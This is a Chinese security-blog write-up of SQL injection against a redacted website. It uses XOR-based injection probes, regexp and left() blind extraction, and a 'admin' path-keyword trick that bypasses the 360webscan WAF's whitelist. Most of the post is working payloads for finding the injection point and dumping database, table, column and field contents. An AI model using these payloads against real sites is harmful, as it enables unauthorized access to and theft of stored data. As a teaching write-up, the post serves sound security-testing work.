*本文作者:GGyao6,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
PS:此網站漏洞已被處理,本文內容僅供技術交流,嚴禁用於非法用途。
前言
今天測試了一個網站,發現存在360webscan的攔截,於是便開始了一波“bypass”。
進入主題
1. 判斷注入點
使用“and 1=1”測試了一下,慘遭攔截。隨後又測試了一下or也是被攔截的。
但是按位異或運算(^)未被攔截也可以使用xor。
“按位異或運算”測試:
在這裏先介紹下“按位異或運算”,這種測試注入點的方法最開始是看一位大佬發過,原諒我已經找不到這位大佬的文章了。但是這位大佬並未解釋使用這種方法的具體原理是什麼,下面我給大家簡單介紹一下按位異或運算使用的基本規則:
1^1=01^0=10^0=0
具體原理參考:https://blog.csdn.net/zpy1998zpy/article/details/80667775
栗子:
在這裏我們對我們的網站進行測試:
頁面正常payload:xxxnid=216^(1=1)^1
3. 使用“按位異或運算”判斷一下當前數據庫名稱的長度:
Payload:xxxnid=216^(1=(if(1=(length(database())=1 ),1,0)))^1
然後我們打開bp,將抓取到的數據包發送到intruder模塊,然後把數據庫長度值設置爲變量。
payload type設置爲numbers遍歷1-15這15個數字。
最終我們得到數據庫字段的長度爲13。
4. 使用“按位異或運算”結合盲注來獲取數據庫名稱:
這裏我們使用的是regexp正則注入,簡單介紹一下:
用法:select user() regexp ‘^[a-z]’;
這裏是在匹配用戶名的第一位:
繼續匹配第二位的用法:select user() regexp ‘^r[a-z]’;
類似的盲注方法還有like匹配注入、left()函數、mid()函數、substr()函數等等。
構造Payload:xxxnid=216^(1=if(((database())regexp '^a ' ),1,0))^1
在這裏我們將從數據庫的第一個字段開始進行盲注。
這裏我們使用字典來爆破字段名稱,我們指定的字典內容包括常用的大小寫字母、特殊符號、數字等。在這裏的時候我遇到了個坑,我使用的字典裏沒加入數字,但是數據庫名稱裏包含數字,導致我爆破到第三個參數的時候就沒有結果了,最後發現字典裏沒把數字加進去,真的是賊菜。
爆破出數據庫的第一個參數是“p”。
依次爆破,最終我們得到了數據庫名稱。
5. 接下來就是構造獲取表名的payload了。
我們使用left()函數進行構造,先來看一個的栗子:
select left((select table_name frominformation_schema.tables where table_schema='test' limit 0,1),1)='u';
由此我們可以構造payload爲:
xxxnid=216^(1=left((select table_namefrom information_schema.tables where table_schema=database() limit0,1),1)='u')^1
事情並不是一帆風順的,360webscan再次攔截,經測試,攔截的是from關鍵字,這就很難受了,測試了很多方法都沒有繞過過濾,內聯註釋、編碼、干擾正則等方法都沒辦法。
將from加上別的字符就不攔截。。
6. 最後還是找到了“樓蘭”大佬幫忙。
大佬告訴我,360的webscan是可以繞過的,原來360webscan自己有定義一個白名單,只要URL路徑中出現了admin等關鍵字時候就能繞過檢測。
後來大佬又給我推薦了一篇文章,講的是繞過360webscan的原理,這篇文章講的真好,附上文章鏈接:https://www.leavesongs.com/penetration/360webscan-bypass.html。後來我在網上一搜,原來已經有不少前輩研究過這個繞過方法啦,需要學習的東西真的很多,加油!
最後自己也去看了一下360webscan的源碼,白名單如下:(代碼地址:https://github.com/baiqj/host_manager/tree/master/other/360safe)
再次構造payload:xxx/xxx/admin /?nid=216 union select 1,2,3,4,5,6,7,8 -- -
7. 接下來就好說了,都是常規操作了
這裏我們先看一下當前數據庫名稱,可以看到,和我們之前盲注得到的數據庫名稱是一致的。
Payload:xxx/xxx/admin/?nid=1union select database(),2,3,4,5,6,7,8 -- -
接下來是爆出所有的表名:
Payload:xxx/xxx/admin/?nid=1 unionselect group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tableswhere table_schema=database() -- -
爆出所有字段名稱:
Payload:xxx/xxx/admin/?nid=1union select group_concat(column_name),2,3,4,5,6,7,8 frominformation_schema.columns where table_name='表名' -- -
爆字段內容:
Payload:xxx/xxx/admin/?nid=1union select group_concat(字段1),group_concat(字段2),3,4,5,6,7,8 from 表名 -- -
總結
1. 使用“按位異或運算”來判斷注入點,繞過一些過濾了and、or等一些關鍵字的waf,真的是非常不錯的姿勢。 2. 我們在一個頁面找不到可顯字段的時候,可以換幾個頁面試一下,也可以將前面參數id值改爲負,這樣都可以讓可顯字段回顯到頁面上。 3. 最後一點,就是最後通過在路徑中添加白名單關鍵字“admin”繞過網站的防護,這個思路真的非常棒。
*本文作者:GGyao6,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。